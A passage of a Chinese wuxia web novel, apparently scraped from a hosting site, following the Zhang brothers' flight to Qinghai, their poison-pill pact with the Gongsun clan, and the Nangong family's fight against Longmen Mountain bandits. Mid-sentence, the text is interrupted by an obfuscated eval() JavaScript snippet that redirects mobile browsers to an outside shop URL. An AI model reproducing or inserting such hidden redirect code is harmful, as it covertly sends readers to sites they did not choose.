腰带,单臂用力,将那国王举在身前挥舞,众侍卫,吓的齐声尖叫,连忙收回兵器,不敢再动,国王沙瑶被旋转的七荤八素,叶天羽一松手,国王跌落在地,口中一边不停的喘着粗气,一边不停干呕,叶天羽手臂一挥,将伏魔杖月牙锋刃对准国王的咽喉,国王沙瑶霎时被吓得屁滚尿流,忙不迭大叫:“大侠饶命,大侠饶命。”此时围困王定国李安邦的那些士兵见国王被擒,一个个也都收住刀枪,王定国和李安邦疾步上前,对着棉兰国王喝到:“我们乃炎黄岛三兄弟,听说你要兴兵攻打炎黄岛,今日特来取你性命。”国王沙瑶吓得面无人色,魂不附体,口中连连道:“好汉饶命,好汉饶命,我再也不敢了。”王定国道:“你用棉兰岛诸神发誓,有生之年,再也不能觊觎炎黄岛,日后若有违背,必万箭穿心,死无葬身之地。”国王沙瑶哆哆嗦嗦结结巴巴的发下毒誓,王定国点点头,只见叶天羽一声长啸,天空之中飞来三只巨鹰,如同箭矢一般,转眼之间,已经落在众人面前,王定国厉声喝道:“你若胆敢不遵守诺言,我定来取你性命。”说罢,三人骑上巨鹰,巨鹰扇动翅膀,转眼间便飞向高空,消失不见。国王沙瑶被吓得丢魂失魄,回宫之后,大病了一场,再也不敢提攻打炎黄岛之事,南洋其他国家君王,听说此事之后,也都暗自心惊,自此无人敢再觊觎炎黄岛 14. 第 14 章 第十四章:逃亡青海 再说祁连山张氏兄弟,强忍心中悲痛,一路上昼伏夜行,小心谨慎,行了几日后,回到了祁连山老家,这祁连山,古匈奴语意即天山,是中华民族著名山脉之一,由一系列大致平行的,主要呈西往东走向的山脉和山间谷地交替排列而成,东西长约一千六百里,南北宽约五百里,拥有雪山,冰川,森林,草原,湖泊等多种自然景观,冰川数量不计其数,孕育了黑河,疏勒河等水系,造就独特气候,其草原风光和阿咪东索神山,卓尔山等美景闻名遐迩,祁连山的气候独特,四季不分明,有祁连六月雪的说法。这种气候造就了其独特的自然景观,即使在炎炎夏日,祁连山的雪峰依然白雪皑皑,而山脚下的草原则是碧波千里。祁连山是许多珍稀动植物的家园,不但有天山雪莲,祁连九叶草等名贵植物,还有马鹿,林麝,岩羊,雪鸡等珍奇动物,每年七,八月份,草原上绿草如茵,羊群在草浪中若隐若现,与湛蓝的天空和洁白的云朵交相辉映,形成了高原独有的草原风光。祁连山不仅有壮丽的自然景观,还有丰富的历史文化背景。它曾是匈奴的重要区域,汉武帝时期,霍去病远征河西走廊,使得祁连山的名字流传至今。这里也是丝绸之路的重要组成部分,承载着古老的商贸和文化交流的历史。张氏一族在祁连山居住数百年,为祁连山一带第一大姓,张氏兄弟二人因为手下的族中子弟全军覆没死伤殆尽,所以也不敢和族人接触,趁黑夜到了自己家中,让妻子和几个弟妹,将家中的金银细软全部带上,还有兄弟五人的十几个孩子,趁夜色悄悄离开了祁连山老家,老三银翅鹰张道余的夫人楚氏,老四铜羽鹰张道满的夫人周氏,老五铁爪鹰张道林的夫人冯氏,见两位哥哥一副悲伤憔悴如丧考妣的模样,而自己的丈夫却没有回来,心中不禁都感觉疑惑,忐忑惶恐惴惴不安,一行人到了安全僻静的地方,白头鹰和金眼鹰将黑风谷的事详细告诉了众人,几房夫人和孩子们刹那间都哭作一团,白头鹰泪流满面道:“几位弟妹,我对不起你们,害的老三老四老五丧命,还死伤了那么多的族中子弟,我只能一死才能赎罪。”说罢,拔出腰中长剑就要自刎,金眼鹰连忙上前拦住,道:“大哥,住手,现在弟妹和孩子们都要我们照顾,你可千万不能轻生,你一死了事,倒是轻松,弟妹和孩子们怎么办?”几房夫人,见大哥白头鹰要自刎,也都止住哭声,齐声劝白头鹰道:“大哥,现在老三老四老五既然已死,剩下我们这些孤儿寡母,还要仰仗你和二哥照顾,你可千万不能做傻事,这些孩子们都要靠你和二哥抚养照看。”白头鹰看看自己的妻子和几房弟妹,又看了看自己孩子,和十几名侄子侄女,泪如雨下,长叹一声道:“我现在苟活人世,也就是放心不下这十几个孩子。”金眼鹰道:“大哥,你现在有何打算?”白头鹰道:“老家是不能待了,一是防止圣火教派人追杀,二是家乡跟随我们的上千子弟兵全部被圣火教暗算而死,我们有何面目再见族中的亲属长辈。”金眼鹰道:“大哥,你准备去哪里安置?”白头鹰道:“我们现在去投奔青海湖舅舅,看舅舅能不能帮我们提供一个容身之所。”众人一听,也只能如此,一行二十多人,一路上小心潜行,几日后来到了青海湖, 青海湖位于中国西北地区,是我国最大的内陆咸水湖泊,也是世界上海拔最高、面积最大的内陆咸水湖。古称西海(相传为西海小白龙的居所)、仙海、鲜水海、卑禾羌海等,北魏以后称青海。藏语称“措温波”,意为“青色的湖”,蒙古语称“库库诺尔”,意为“蓝色的海”,又被誉为“高原蓝宝石”,青海湖盐是历史上著名的天然食盐之一,其来历可以追溯到数千年前。这片美丽而神秘的湖泊不仅拥有壮丽景色,还孕育了独特而珍贵的天然食盐。 《汉书·地理志》记载:早在西汉时期,羌族人就已经知道采盐食用,并提到临羌西北至塞外有西王母室仙海盐池,这里的仙海指的就是青海湖,盐池则是茶卡盐湖。据《本草纲目》记载:明代李时珍在《本草纲目》中提到西海有盐池,所产青盐对人体有益,并被列为皇家贡品。 张道仓张道友一行人寻到了舅舅何文辉家中,舅舅何文辉六十岁出头,面容清瘦,是青海湖一带的鼎鼎有名的神医,在青海湖一带颇有名望,见两个外甥面目悲伤容颜憔悴,带着五房外甥媳妇,还有十几个侄孙侄孙女前来投奔,心中也是大吃一惊,领着众人来到正厅坐下,问白头鹰和金眼鹰道:“道仓,道友,你们带着家眷来我这里,是不是家中出了什么事?”张道仓张道友噗通跪倒,哭诉着将黑风谷发生的事,详细禀报给舅舅何文辉,何文辉一听三个外甥惨死,霎时气的目眦欲裂怒发冲冠,起身拿起鞭子,对着张道仓张道友就是劈头盖脸使劲抽打,两兄弟直挺挺的跪在地上一声不吭,也不躲避,任由舅舅抽打,功夫不大,兄弟二人脸上身上已是血迹斑斑,几房夫人见势不妙,连忙带着十几个孩子上前跪倒,边哭边道:“舅舅,现在老三老四老五已经过世,我们这些孤儿寡母全靠两位哥哥照顾,您要是再把他们二人打出个三长两短,我们这些孤儿寡母以后可怎么活啊?”何文辉想了想,放下鞭子,也是老泪纵横放声痛哭,众人又伤心了许久,等情绪稍微平静后,何文辉问张道仓张道友兄弟道:“道仓,道友,你们现在有什么打算?”张道仓道:“舅舅,现在我们无家可归,想到舅舅这里寻个僻静之处,暂时住下,防止圣火教派人追杀,我们隐姓埋名,在这里教几个孩子学习武功,等他们长大了,再设法为几个弟弟报仇。”何文辉见事已至此,也只能如此,过了几日,何文辉在一偏僻之处,买了一户院落,张道仓张道友兄弟带着自己的夫人和孩子,及几位弟媳,侄子侄女们悄悄的搬过去居住,兄弟两人当时从家中逃离时,带了不少金银细软,所以日常花费倒也不愁,兄弟二人整日领着十几个孩子,打熬筋骨苦练武功,何文辉心中牵挂,经常过来看望,这天何文辉又来到外甥们的住处,进门一看,两兄弟领着十几个孩子正在院子里练功,老五张道林的儿子才七岁,女儿才五岁,也跟着伯伯,哥哥姐姐们在咬牙苦练功夫,何文辉情不自禁心中痛惜难过,将两个孩子拉到身边,只见两个孩子脸上都有淤青,撸开衣袖一看,稚嫩的胳膊上也是青一块紫一块,何文辉禁不住悲从心来,老泪纵横,此时张道仓两兄弟也过来给舅舅请安,何文辉抹了抹眼泪道:“让孩子们练功,你们两个人和我到房中说话。”来到房中,三人落座,何文辉道:“道仓道友,你们两个的武功比起圣火教教主,高下如何?”兄弟二人对视一眼,张道仓道:“圣火教数百年来,能够屹立不倒,教中的武功博大精深,教主还拥有镇教之宝斩魔刀,我们两兄弟联手可能都不是圣火教教主的对手。”何文辉叹口气道:“既然如此,你们就算把这十几个孩子再辛苦磨炼,长大之后,想找圣火教报仇,也是千险万难,再说圣火教势力庞大,教主身边高手如云,就算这些孩子们长大,想去报仇,也是以卵击石蚍蜉撼树,如同螳臂当车飞蛾扑火。”张道友道:“舅舅,但这血海深仇,我们怎能不报?就算希望渺茫,我们也要努力为之。”何文辉道:“我不是反对你们报仇,我的意思是,你们有没有想过?为孩子们寻找名师,让孩子们学习高超的武艺,日后方能报仇有望。”两兄弟对视了一眼,又看向舅舅何文辉,叹口气道:“如今我们有家不能回,身边的上千亲族子弟又被我们连累,都葬身火海,现在又能到哪里去寻找名师?”何文辉道:“东北辽东的公孙世家,你们可知道?”张道仓道:“公孙氏是武林千年世家,几百年来,位列武林四大世家之首,我们如雷贯耳,但却无缘结识。”何文辉道:“当年公孙世家当家人公孙文派二弟公孙武带着几十名手下,来青海湖一带插手私盐买卖,和当地的帮会发生争斗,当地帮会论武功不是公孙武等人的对手,便派人暗中下毒,领头的公孙武和几十名手下全部中毒,中毒较轻的来我家中,请我前去医治,我虽然不敢得罪当地的帮会,但也实在不忍心看他们三十多人毒发丧命,于是悄悄的为他们解毒施救,公孙家三十多人解毒后,将当地的帮会杀的片甲不留,然后公孙武来我家中拜谢,送我黄金千两作为报酬,我当时婉言谢绝,只取了十两黄金作为药费,公孙武执意要给,我对他说,我救你们,只是医者仁心,虽然心中害怕当地的帮会,但是实在不忍见你们三十多人中毒而死,并非贪图你的钱财,你若是执意送我千两黄金,那么我们从此以后,就当没有认识,公孙武听我这么说,也就不再勉强,给了我十两黄金,作为药费,公孙武感激我救命之恩,执意要与我结义,我推脱不过,便与他义结金兰,自那以后,他便称我为大哥,公孙世家自此便在青海湖做起了私盐买卖,每年公孙武都到我家中拜访,再过几日,他应该就会来了,我考虑了再三,想让你们带着孩子们去拜见公孙武,将你们的血海深仇如实禀告,看公孙武能不能看我的薄面,收几个孩子为徒,日后若有机会再帮你们报仇。”张氏两兄弟听了是又惊又喜,道:“公孙氏为武林四大世家之首,数百年来,威震武林,孩子们若能拜得公孙武为师,那么我们的血海深仇定然能报,请舅舅多加美言,周全此事。”说罢两人跪倒,砰砰磕头,何文辉扶起二人,道:“你们在家安心等候,过几日公孙武一到,我就命人通知你们前去。”兄弟两人连连答应,几日后,兄弟两人正在家中焦急等待,只见舅舅家的仆人前来,对两人道:“两位表少爷,我们家老爷让我们通知你们,贵客已至,请你们速去相见。”兄弟二人连忙收拾利索,带着十几个孩子直奔舅舅家而去,一行人径直来到何文辉的会客厅,只见舅舅坐在主位,客位上坐着一位五十岁左右男子,白净脸堂,三缕长须,顾盼之间,自有一股威严气势,身后站着几名随从,也是气势不凡,兄弟二人见状,连忙上前带着十几个孩子,对着公孙武径直跪倒,砰砰的只磕响头,公孙武见突然进来十几个人,对着自己就是连连磕头,不禁丈二和尚摸不着头脑,开口问何文辉道:“大哥,这些人是什么人?为何进来就向我磕头?”何文辉深叹一口气,道:“二弟,这是我两个不成才的外甥和他家中的孩子。”公孙武忙道:“原来是两位外甥,不必多礼,请带孩子们速速起身。”说罢站起身形,上前几步就要搀扶张道仓兄弟二人。”张道仓道:“公孙二爷,请容我将我等的血海深仇告诉您老,我们再起身不迟。”公孙武见两人执意不肯起身,只好道:“外甥请讲。”于是兄弟二人将自己的出身来历,以及黑风谷事件如实一一禀告给了公孙武,公孙武听完,不由得心生同情,长叹一声道:“想不到圣火教行事竟然如此阴狠毒辣,害的你们两兄弟如此之惨,你们两兄弟今日前来,是有什么想法吗?”兄弟二人领着十几个孩子磕头如捣蒜,齐声道:“请公孙二爷主持公道,帮我们兄弟报仇。”公孙武思索片刻,道:“两位外甥,圣火教数百年来称雄西北,实力非凡,我虽想帮你们一把,只怕心有余而力不足。”张道仓哭道:“二爷,你们公孙家是武林四大世家之首,数百年来威震武林,如果您都帮不了我们,那我们报仇无望。”说罢失声痛哭,张道友道:“二爷,江湖传言,几十年前,宇文家兴兵起义被元朝剿灭,逃出一名孤儿,投奔你们公孙氏,后来你们公孙氏仗义相助,帮助宇文家孤儿重新崛起,成立青龙会,称霸齐鲁,普天之下,也只有公孙世家能有实力帮我们报仇了。”说罢,连连磕头,公孙武转脸看了看何文辉,满脸为难,何文辉长叹一声,也站起身形,来到公孙武身边,噗通跪倒,道:“二弟,我三个外甥惨死,现在大外甥和二外甥带着十几个孩子,虽然想着复仇,但实力实在不允许,请二弟看我的薄面,帮他们一把。”公孙武见何文辉下跪,不禁大吃一惊,连忙俯身伸手将何文辉扶起,道:“大哥,你这是干什么?折杀兄弟了,你对我有救命之恩,若是我可以帮忙,肯定义不容辞。说罢,公孙武长叹一声道:“只是你们有所不知,当年宇文家孤儿,乃是我家祖母的嫡亲侄儿,我家祖母见娘家遭遇惨变,领着宇文家的孤儿苦苦哀求我祖父,我祖父和我祖母夫妻情深,心中不忍,将宇文氏孤儿,也就是我的表叔,用心抚养长大,教他武艺,我表叔长到十八岁之后,知道自己身世后,苦苦哀求我祖母,想让我祖父帮助他重振宇文家,我祖父因当时元朝势力太大,实在有心无力,我表叔也是坚毅之人,见我祖父不肯答应,竟然求我祖母,吃下我公孙氏的九花九虫丸,这九花九虫丸毒性极大,服下后一年,若无解药,就会全身腐烂而死,我表叔以死明志,发誓宇文家若能重新崛起,宇文家的后世男丁都愿服我公孙氏的九花九虫丸,子孙后代都誓死效命公孙氏,我祖父禁不住我祖母和我表叔的苦苦哀求,也就答应下来,所以我祖父出人出钱出力,帮助宇文氏成立青龙会,重新崛起,称霸齐鲁,大哥,你两个外甥的事,我虽然非常同情,但此事关联重大,我恐怕无能为力。”张道仓兄弟听得清楚,二人对视一眼,心意相通,齐声道:“请二爷赐我等九花九虫丸,恳请二爷帮我们报仇,以后我张氏一脉子孙后人,都誓死效忠公孙氏。”公孙武一听,不由得心中犹豫不决,满面为难之色,何文辉在一旁听得清楚,也感觉事情过于重大,也不好再出言拿什么主意,只见老五铁爪鹰张道林的两个孩子,从后排站起身形,来到公孙武身边,噗通跪倒,七岁的儿子张义祖和五岁的女儿张义青朗声道:“公孙爷爷,只要能帮我的父亲报仇,我们愿意服下毒药,从今以后,不但我们,以后有了后人,也誓死追随公孙氏。”舅爷爷何文辉闻言,不禁大惊失色,连忙出声劝阻道:“义祖,义青,你们年龄太小,不知道其中厉害,这件事情需从长计议。”张义祖和张义青兄妹二人异口同声道:“我父亲和三伯四伯惨死,上千张氏族中子弟惨死,我们若是不能替父亲和伯伯们报仇,有何面目苟活人世间,我们心意已决,请公孙爷爷赐药。”公孙武听闻此言,顿时心中既惊叹又钦佩,想不到这张氏一脉的两个孩子,小小年纪,竟然如此刚毅,难怪这张家能够在祁连山一带绿林称王称霸。公孙武想到这,心中突然冒出一个想法:“这张氏一族乃祁连山一带第一大姓,在祁连山一带家族势力庞大,若是能将他们收伏,令他们誓死效忠,公孙氏再暗中出手相助,假以时日,不但祁连山和青海湖一带,连河西走廊 都会掌握在公孙氏之手。”想到这,公孙武道:“两位外甥,这件事情,事关重大,我需禀报大哥,请他定夺,才能答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727710|189533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应你们。”张道仓张道友兄弟二人听到公孙武语气有所松动,连忙道:“二爷,若蒙公孙氏不弃,帮我们复仇,我张氏一脉,愿赴汤蹈火为公孙氏效命。”公孙武道:“就算我禀报我大哥公孙文,劝我大哥设法帮助你们报仇,你们也要考虑清楚,圣火教屹立数百年,教中高手如云,纵然你们杀死他们一两个首脑,也无法动其根本,也对不起黑风谷惨死的上千兄弟,我们需从长计议,首先要休养生息,积蓄力量,等到合适的时机,一击毙命,让圣火教灰飞烟灭,彻底覆灭,但是这时机也许要二十年三十年,甚至更长的时间,你们可有耐心等候?”张道仓兄弟二人齐声道:“二爷,只要能彻底覆灭圣火教,纵使三十年五十年,我兄弟二人也愿意等候,就算我们在有生之年复不了仇,我们的儿子孙子,若能在公孙氏帮助之下覆灭圣火教,我们泉下有知,也算得偿所愿。”公孙武点点头道:“好,我现在飞鸽传书,将你们的事禀告我大哥公孙文,请他定夺。”何文辉在一旁,心中也是五味杂陈,忍不住暗暗叹息,但是事已至此,也不能出言再阻拦,何文辉道:“道仓道友,你们带着孩子们先回去,等几日后,公孙家掌门大哥回信了,再告诉你们准信。”张道仓张道友兄弟二人跪拜叩谢,领着十几个孩子,回到家中。”公孙武也立刻写信,将祁连山张氏兄弟的遭遇,自己也想报答何文辉当年救命之恩,和日后想通过祁连山张氏一族控制祁连山青海湖河西走廊一带的想法,详细写好,立刻飞鸽传书给大哥公孙文,大约十几日后,何文辉又命人让张氏兄弟前去,兄弟二人带着十几个孩子,心急火燎的赶到舅舅家,只见舅舅和公孙武正在客厅喝茶,兄弟二人领着十几个孩子上前跪拜施礼,公孙武道:“两位外甥,你和孩子们先站起身,我在和你们细说。”兄弟二人道:“遵命。”领着十几个孩子站起身形,公孙武道:“我刚刚收到飞鸽传书,我大哥同情你们的惨烈遭遇,答应帮你们设法报仇。”张氏兄弟和十几个孩子闻言,一个个喜出望外喜极而泣,公孙武又道:“但是我大哥说了,想覆灭圣火教,不是短时间可以做到的,你们要有心理准备,可能要二十年三十年才有恰当时机。”张道仓道:“二爷,只要能够复仇,纵然是五十年我们也愿意。”公孙武点点头道:“好。”说罢从怀中掏出一个瓶子,对张道仓等人道:“两位外甥,你们要考虑清楚,服下这九花九虫丸,日后必须要有我公孙氏的奇门解药,方可解毒,你们现在后悔还来得及。”兄弟二人和十几个孩子齐刷刷跪倒,异口同声道:“请公孙二爷,公孙爷爷赐药,我们无怨无悔。”何文辉在旁,虽然心中犹豫,但见外甥和侄孙们决心已下,也只好悄悄的叹了一口气,公孙武从瓶子取出十几粒药丸,兄弟二人带着十几个孩子,依次服下。公孙武等他们服完药后,对他们道:“两位外甥,你们从今以后,需改名换姓,我看你们就随舅舅家姓,全部改姓何,你们兄弟二人在青海湖一带帮我打理私盐买卖,这十几个孩子全部交给我,带去东北辽东龙城,我们安排他们学习武艺,待他们学成之时,再将他们送回青海湖,你们首先要休养生息,积蓄力量,待到合适时机,我们联手一举覆灭圣火教,为你们报仇雪恨。”张氏兄弟齐声道:“全听二爷安排。”公孙武点点头道:“我会留下得力人手帮助你们,在青海湖成立白虎帮,你们以白虎帮的名义,招揽人手,积蓄钱财,等力量壮大后,再找报仇良机。”张氏兄弟齐声答应。几日后,公孙武留下几十名得力手下,协助张氏兄弟成立白虎帮,此时张氏兄弟也改为姓何,以避圣火教耳目。公孙武带着张家的十几个孩子,现在这十几个孩子也全部改为何姓,去了辽东龙城,自此,何氏兄弟在公孙氏的帮助下,在青海一带逐渐将白虎帮势力发展壮大。 公元1368年,朱元璋已经统一江南大部分地区,在应天府称帝,建立明朝,史称明太祖,朱元璋称帝后,立马夫人为皇后,朱标为太子,跟随朱元璋的很多文臣武将也得到了封赏,徐达常遇春邓愈李善长汤和等人,封为公侯。”刘伯温也封为诚意伯,此时的辽东地区,公孙氏趁元军败退之时,也趁机占领了大片土地,公孙氏首领公孙文见朱元璋势力庞大,兵强马壮,心中思考良久,派使者来应天府向朱元璋称臣,送上了无数金银财宝,又从家族中挑选了两个年轻貌美的堂妹,进献给了朱元璋,朱元璋也知道公孙氏在辽东经营多年,实力不容小觑,辽东之地,东有高丽,女真,北有蒙古,是四战之地,现在自己刚刚称帝,主要兵力还要北伐,驱逐鞑虏,不宜再在辽东挑起战事,加上得了许多财宝和美人,于是便发布诏书,封公孙文为镇北侯,为大明王朝抵御高丽,女真,蒙古,世代镇守东北,公孙文被封为镇北侯后,没过两年堂妹公孙燕为朱元璋生下皇十三子朱桂,被册封为贵妃,更是权势滔天,公孙文暗中命令青龙会宇文世家,在各府各县,开办酒楼当铺,青楼赌档,大肆插手□□买卖,青龙会宇文世家,家传武艺也是武林一绝,又和公孙氏几代联姻,如今公孙氏权势滔天,宇文世家如虎添翼,做事不择手段,敲诈勒索,绑架抢夺,赌场妓院,逼良为娼,杀人越货,无恶不作,各行各业都深受其苦,但凡稍微大一点的商家店铺,都会受到青龙会的敲诈勒索,百姓告于官府,也无济于事,往往举告之人,都死于非命,一时间,百姓视青龙会为毒蛇猛兽,闻之色变,江湖传闻宇文世家有子弟是锦衣卫统领,幕后主使是朝廷亲王公侯,如此一来,江湖各大门派都明哲保身,不敢与青龙会对抗,青龙会更是气焰嚣张,凡是青龙会势力渗透的各府各州,各行各业百姓,都深受青龙会荼毒,苦不堪言。 再说马秀英成为皇后之后,心中一直挂念唐正阳,但知道唐正阳不愿为官,于是命人赏赐了大量金银珠宝送至圣火崖,唐正阳见姨母送过来这么多金银珠宝,知道姨母一向勤俭,不忍接收,副教主韩鹏和师弟侯成庆劝他道:“雷霆雨露都是天恩,皇后娘娘既然赏赐,你若是推却,反而容易招惹祸端,不如先收下,我们再做商议。”唐正阳道:“自黑风谷事件之后,我们圣火教通往西域的商路,货物源源不断,去西域的客商也请教中的五行卫护送,收入也是不菲,现在教中钱粮充足,姨母一向勤俭,我又怎忍心收姨母的厚赏?”侯成庆道:“师兄,你若是觉得教中已经富足,可以将皇后娘娘的赏赐,在西北诸省建立皇后娘娘慈善堂,用来接济孤寡,扶助老弱,帮助皇后娘娘在西北诸省收揽民心。”唐正阳听了,觉得言之有理,于是便将马娘娘赏赐的金银珠宝,换做银两,并从教里库房中支取了数万两银钱,在西北各州各府,建立皇后娘娘慈善堂,接济孤寡,扶助老弱,西北诸省的民众,都感受天恩,齐声称颂马娘娘,各州各府的官员,将唐正阳的善举,如实禀报给了朝廷,朱元璋和马娘娘知道后,心中也是赞许。到了公元1371年,朱元璋派兵攻打四川,大夏国国主明升命众将抵抗,经历几次战役后,明军大胜,大夏国国主明升召集群臣商议,开城投降,手下大将戴寿,向大亨不愿投降,领着两千精兵逃往川北龙门山,占山为王,落草为寇,朱元璋虽然命令当地官府多次派兵征剿,但都无功而返,戴寿向大亨在龙门山一带四处劫掠百姓,祸害川北。 15. 第 15 章 第十五章:南宫出家 转眼之间,几年过去,四川峨眉山下,一名年轻貌美女子正在骑马飞奔,峨眉山是普贤菩萨的道场,佛教文化源远流长。自晋代佛教传入后,唐代成为佛教圣地,与五台山、普陀山、九华山并称为中国四大佛教名山,又被称为天下第一秀山,以日出,云海,佛光,圣灯四大奇观闻名天下,峨眉山之所以称为峨眉山,有两种说法。一说峨眉因“两山相峙”而得名,郦道元在《峨眉郡志》中描述峨眉山为“此山云鬓凝翠,鬓黛遥妆,真如嵘首如蛾眉,细而长,美而艳也。”;另一种说法是峨眉山屹立在大渡河边上,大渡河古称“涐水”山爱水而得名,故称“涐眉山”。峨湄山只是因为是山,才离开了水,由“涐湄”变成了“峨眉”。峨眉山主峰万佛顶海拔3099米,是中国四大佛教名山中海拔最高的风景名胜区,登上金顶,可以观赏日出、云海、佛光、圣灯四大奇观,华藏寺是供奉普贤菩萨的主要寺院,寺内有48米高的十方普贤菩萨圣像,清音阁,报国寺,伏虎寺,以及第一山门,雷洞坪,更是风景如画美不胜收。。峨眉武术是中国三大武术流派之一,融合佛道修行理念,以轻灵翔动变幻无穷刚柔相济神鬼莫测而名扬四海。 骑马飞奔的这名年轻女子名叫南宫婉儿,是武林四大世家,南宫掌门人南宫信的嫡女,六岁时送到峨眉派学习武艺,拜在峨眉派掌门慧明师太名下,学艺十二年,如今学成出师,向师傅告别后,策马扬鞭往青城山的南宫世家而去,一路上南宫婉儿感觉路上乞丐众多,流民成群,禁不住心中奇怪:“大明王朝已经建立十年,怎么还有这么多流民乞丐?”南宫婉儿一路北上,路上的流民乞丐越来越多,南宫婉儿心中越来越诧异,行了数日后,终于回到了位于青城山的南宫世家,这青城山是中国道教发祥地,被誉为道教四大名山之一,风景秀丽,景色优美,号称三十六峰七十二洞,历来都是道教圣地,南宫世家已经在青城山居住了数百年,南宫婉儿来到家中,父亲南宫信和母亲吴氏,见女儿回归,也是满心欢喜,兴高采烈,南宫婉儿坐下与父母叙话,南宫婉儿问道:“父亲,我从峨眉山回来,沿途看见很多乞丐流民,大明已经建立十年,都说皇上和皇后娘娘体恤百姓,为什么路上有这么多乞丐?”南宫信叹口气道:“婉儿,你有所不知,当年的大夏国国主投降,但手下大将戴寿向大亨不愿投降,领着两千精兵去了川北的龙门山占山为王,落草为寇,这几年,官府虽然多次派兵征剿,但都无功而返,戴寿和向大亨四处劫掠百姓,害的川北一带的民众都弃家而逃,所以,路上才有这么多乞丐流民。”南宫婉儿道:“父亲,既然官府不能剿灭,那您为什么不号召巴蜀的武林各派团结起来,设法剿灭龙门山的土匪。”南宫信道:“龙门山上的土匪,足足有两千人左右,一门一派是无法与之抗衡的,若是召集巴蜀武林大会,又怕各门各派不能齐心协力,反而打草惊蛇惹祸上身。”南宫婉儿道:“父亲,南宫世家和峨眉派向来是巴蜀武林的领袖,如果您都怕惹祸上身,其他各门各派更是不敢露面,依女儿之见,您和我师傅慧明师太共同发布巴蜀江湖令,召集各门各派,大家齐心协力,铲除龙门山土匪,还川北百姓一方安宁之地,这才是侠义道首领份内之事。”南宫信本来也是侠义之士,只是年龄大了,没有年轻时的锐气,想着明哲保身,护着南宫世家周全,如今被女儿这么一说,不由得也是豪情万丈,道:“好,就依婉儿之言,为父这就派人与你师傅商讨,共同发布巴蜀江湖令,召集巴蜀之地各门各派,齐心协力剿灭龙门山匪患,第二天,南宫信派人去峨眉山慧明师太处,与慧明师太商量好后,由南宫世家和峨眉派共发江湖令,号召巴蜀各门各派团结一心,共同剿灭龙门山匪患,半个月后,大批巴蜀武林人士齐聚青城山南宫世家,各派首领商量后,决定由南宫信的弟弟南宫勇南宫义为首领,率领巴蜀各派好手,前去攻打龙门山,南宫世家足足派出了三百人,加上峨眉派和各门各派的好手,共有一千多武林人士,浩浩荡荡前往龙门山,南宫婉儿也随两个叔叔前行。行了数日,到了龙门山脚下,众人扎好营地,第二天一早,一行人浩浩荡荡去龙门山下叫阵,戴寿和向大亨早已得到消息,打开寨门,手提兵刃,率领两千多喽啰,蜂涌而出,南宫勇上前道:“戴寿,向大亨,你二人劫掠百姓,祸害川北,今日我们来劝你们早早投降,我们可放你们一条生路,你们回去种田经商,从此不得再做这土匪营生。”戴寿年纪四十多岁,虎背熊腰,体壮如牛,向大亨也是四十岁左右,身材魁梧,孔武有力,戴寿狂笑几声道:“你们南宫世家向来与我们井水不犯河水,我们在龙门山落草,就是要和明朝作对,明朝朱元璋派兵灭了我大夏国,我等本是大夏国将领,自古有云,忠臣不事二主,我们在此招兵买马,就等着有朝一日再光复大夏国荣耀,这等苦心,岂是你们几个江湖中人所能体会的?我劝你们趁早原路返回,免得刀枪无眼,丢了你们的性命。”南宫勇道:“既然如此,那我们就手底下见高低,拼个你死我活。”戴寿道:“你们自视是武林中人,都学过一些武艺,以为凭你们的一千之众就想来挑战我们两千多久经沙场的老兵,今日定叫你们有来无回。”说罢一挥手,身后一个喽啰射出了一支响箭,只见两侧的山林中,各涌出来七八百人。”原来戴寿自知南宫世家的子弟武艺高强,担心不敌,于是便请了西域诸国的马贼和大巴山的绿林响马前来助阵,南宫勇眼见这形势,心中暗叫不好,原来以为自己带来的一千多武林好手,足以击败龙门山土匪,没想到戴寿竟然暗中叫了两路援军,但此时已箭在弦上不得不发,南宫勇大吼道:“巴蜀江湖的朋友们,今天我们为正义而战,为巴蜀的黎民百姓而战,纵然一死,也要奋力杀敌。”说完,挥舞手中长剑,领着南宫义,南宫婉儿和一众南宫子弟,上前杀敌,身后的一千多巴蜀武林人士,也纷纷拔出兵器,跟随南宫勇等人上前厮杀,双方人马战作一团,杀得是刀光剑影,血流成河,这一千多的巴蜀武林人士,虽然武艺高超,但那两千多的龙门山土匪都是久经沙场的老兵,再加上西域的马贼十分彪悍,大巴山的绿林响马也是极为凶猛,再加上人数众多,巴蜀的武林人士渐渐落了下风,被三千多土匪,马贼,响马围得水泄不通,只能不断收缩防线,南宫勇等人虽然知道敌众我寡,但仍然奋力杀敌,正在双方激战之时,忽听空中传来几声响亮的鹰叫,众人不禁抬头望去,只见空中有五只巨鹰俯冲而下,就在巨鹰飞到交战双方头顶时,巨鹰上跃下五道身影,交战双方见巨鹰体型庞大,竟然能载人飞行,禁不住心中称奇,都将目光看下从巨鹰背上跃下的五人,只见为首一人,年纪大约二十六七岁,身着一身青衫,瘦瘦高高的身形,浓眉大眼器宇轩昂,眉宇之间霸气侧漏,行有西楚霸王项羽之姿,立有十三太保李存孝之势,英姿飒爽八面威风,尽显傲视四海称雄九州的英雄气概,后面四名随从,都是三十多岁年纪,一个个也是雄姿英发,威风凛凛,为首青衫客大声喝道:“你们都是些什么人?为何在此厮杀?”南宫勇见来人龙行虎步不怒而威,双目神采奕奕晶莹温润,顾盼之间,精光四射,显然内力已经到了登峰造极深不可测的境界,连忙上前拱手施礼道:“这位大侠,我们是青城山南宫世家的人,今日和峨眉派及巴蜀武林各门各派门人子弟,前来剿灭危害川北黎民百姓的土匪,为川北百姓黎民征得一方安宁之土。”青衫客点点头,对着众匪喊道:“你们谁是领头的?前来答话。”戴寿和向大亨也上前几步,戴寿虽然被青衫客的睥睨天下舍我其谁的威势所惊,但是自恃人多势众,狞笑道:“你这小子是从哪里冒出来的?趁早滚蛋,要不然大爷今天连你一块杀了。”青衫客冷冷一笑道:“你就是龙门山的匪首?”戴寿大声道:“正是大爷。”青衫客道:“我劝你们趁早放下兵器,解散手下的喽啰,回去另谋生路,要不然别怪我手下无情。”戴寿向大亨听言,和旁边的西域马贼绿林响马都是哈哈大笑,戴寿道:“不知死活的小子,我看你是找死。”说